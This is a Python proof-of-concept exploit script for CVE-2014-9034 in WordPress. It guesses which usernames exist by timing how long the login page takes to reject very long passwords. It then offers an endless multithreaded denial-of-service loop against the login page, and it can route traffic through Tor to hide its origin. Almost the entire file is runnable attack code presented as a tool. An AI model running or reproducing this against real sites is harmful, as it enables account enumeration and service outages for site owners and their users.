#!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import urllib import httplib import time import socks import socket import argparse import sys from threading import * from BeautifulSoup import BeautifulSoup import requests WPCurrent_URL = "http://wordpress.org/download/" __license__=""" A PoC Python script to exploit Wordpress User Enumeration Time-Based Attack: Authors: c0r3dump | http://www.devconsole.info Javier Nieto | http://www.behindthefirewalls.com/ This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. The authors disclaims all responsibility in the use of this tool. """ def wpCheckversion(url): try: readme = urllib2.urlopen(url+"/readme.html") soupreadme = BeautifulSoup(readme) version = soupreadme.find('h1') location = str(version).find("Versi") print "[+] Wordpress version found: ", if location != -1: print str(version)[(location + 8):(location + 14)].split("\n")[0] wpCurrentVersion = urllib2.urlopen(WPCurrent_URL) soupwpCurrentVersion = BeautifulSoup(wpCurrentVersion) versionwpCurrentVersion = soupwpCurrentVersion.find('div', attrs={'class': 'col-3'}).find('p', attrs={'class': 'download-meta'}).find('strong').contents[0].split(';')[2] print "[+] Wordpress last public version: "+str(versionwpCurrentVersion) else: print "Not result" except URLError: print "" print "[-] Can't open URL especified: \"" + url + "\"" print "" def checkTor(ip): ip_exit_tor_relay=[] tor = urllib.urlopen('http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv') for ip_tor in tor.readlines(): ip_tor = ip_tor.replace("\n","") ip_exit_tor_relay.append(ip_tor) if ip in ip_exit_tor_relay: print " it's a TOR exit node." else: print " it's NOT a TOR exit node." def proxyConn(hostp,portp): socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, hostp, int(portp)) socket.socket = socks.socksocket def url_ok(url): ip = requests.get('http://httpbin.org/ip').json['origin'] print "[+] Your IP: " + str(ip), checkTor(ip) try: reqok = urllib2.urlopen(url) print "[+] The server " + "it's responding the status code: " + str(reqok.code) except urllib2.HTTPError,e: print "[-]The server it's not responding ... " + str(e) exit(1) except httplib.BadStatusLine: print "[-]The server it's not responding ... " + str(e) exit(1) except urllib2.URLError: print "[-]Unable to connect to " + str(url) exit(1) except ValueError,e: print "[-]Unable to connect " + str(e) + " . You need to put the complete URL (http://...)" exit(1) def DosWP(url,user,chars): urlog=str(url)+'/wp-login.php' headers = [ ("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5")] password = "A"*chars data = [ ("log",user), ("pwd",password), ("testcookie",1), ("submit","Log In"), ("redirect_to",url+"/wp-admin/"), ("rememberme","forewer")] timeStart = int(time.time()) req = urllib2.Request(urlog, urllib.urlencode(dict(data)), dict(headers)) try: response = urllib2.urlopen(req) except urllib2.URLError: pass except urllib2.HTTPError,e: print "[-]Error to open " + str(urlog) print e.code def ScanWP(url,user,chars): urlog=str(url)+'/wp-login.php' headers = [ ("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5")] password = "A"*chars data = [ ("log",user), ("pwd",password), ("testcookie",1), ("submit","Log In"), ("redirect_to",url+"/wp-admin/"), ("rememberme","forewer")] print "Testing user " + str(user) + " @ " + urlog + " ..." timeStart = int(time.time()) req = urllib2.Request(urlog, urllib.urlencode(dict(data)), dict(headers)) try: response = urllib2.urlopen(req) except urllib2.URLError: print "[-]Unable to connect to " + str(urlog) exit(1) except urllib2.HTTPError,e: print "[-]Error to open " + str(urlog) print e.code exit(1) except ValueError,e: print "[-]Unable to connect to " + str(urlog) print e exit(1) timeDone = int(time.time()) delay = timeDone-timeStart defTime = 10 if delay > defTime: print "[+]The user " + str(user) + " exist. " + "Response time " + str(delay) + " second(s)." return user else: print "[-]The user " + str(user) + " don't exist. " + "Response time " + str(delay) + " second(s)." def main(): parse = argparse.ArgumentParser(description='Python script for Wordpress User Enumeration Time-Based Attack CVE-2014-9034') parse.add_argument('-u','--url', action='store', dest='url', help='URL to scan (http://127.0.0.1)') parse.add_argument('-U','--user', action='store', dest='user', help='User to scan') parse.add_argument('-f','--file', action='store', dest='ufile', help='File with user names') parse.add_argument('-n','--num', action='store', dest='num',default='1000000', help='Number of characters to use (default 1000000)') parse.add_argument('-d','--dos', action='store', dest='dos', help='Try to stablish a DOS condition') parse.add_argument('-t','--threads', action='store', dest='td',default='10', help='Number of connections attemps (every 10 seconds) for the DOS attack (default 10)') parse.add_argument('--proxy', action='store', dest='proxy', help='SOCKS 5 proxy, tipically TOR use: 127.0.0.1:9050') arg=parse.parse_args() users=[] userfdos=[] numuser = 0 if arg.url == None: parse.print_help() exit(1) if arg.user == None and arg.ufile == None: parse.print_help() exit(1) if arg.user != None: users.append(arg.user) numuser = numuser + 1 if arg.ufile != None: try: userFile = open (arg.ufile,'r') for line in userFile.readlines(): line = line.split("\n") users.append(line[0]) numuser = numuser + 1 except IOError: print "The file %s doesn't exist." % (arg.ufile) print "Nothing to do." exit(1) chars = int(arg.num) if chars > 9000000: print "[-]Too many characters. Please use a value less than 2000000" exit(1) if chars < 50000: print "[-]Too few characters. Please use a value greater than 500000" exit(1) url = arg.url if url.find("http://") == -1: url = "http://"+url print "Starting Wordpress User Enumeration Time-Based Attack Python CVE-2014-9034 script (PoC) for " + url + " at " + time.strftime("%x") + " " + time.strftime("%X") + " ..." if arg.proxy != None: hostp = arg.proxy.split(":")[0] portp = arg.proxy.split(":")[1] proxyConn(hostp,portp) url_ok(url) wpCheckversion(url) print print "[+]Searching for " + str(numuser) + " valid users, using " + arg.num + " characters." for user in users: usr=ScanWP(url,user,chars) if usr != None: userfdos.append(usr) else: userfdos.append(None) ufd = None for u in userfdos: if u != None: ufd = u if arg.dos == True: if ufd != None: threads = int(arg.td) user = ufd attp = 0 print while 1: print "[+]Trying DOS with user " + str(user) + " using " + str(threads) + " connections attemps." for att in range(threads): t = Thread(target=DosWP, args=(url, user, chars)) try: t.start() attp = attp + 1 except: pass print "[+]After " + str(attp) + " connections attemps waiting 10 seconds in order to check the status of the server ..," time.sleep(10) print "[+]Checking the server respond ...." url_ok(url) else: print "[-]No valid user found, impossible to make the DOS attack." exit(1) if __name__=='__main__': main()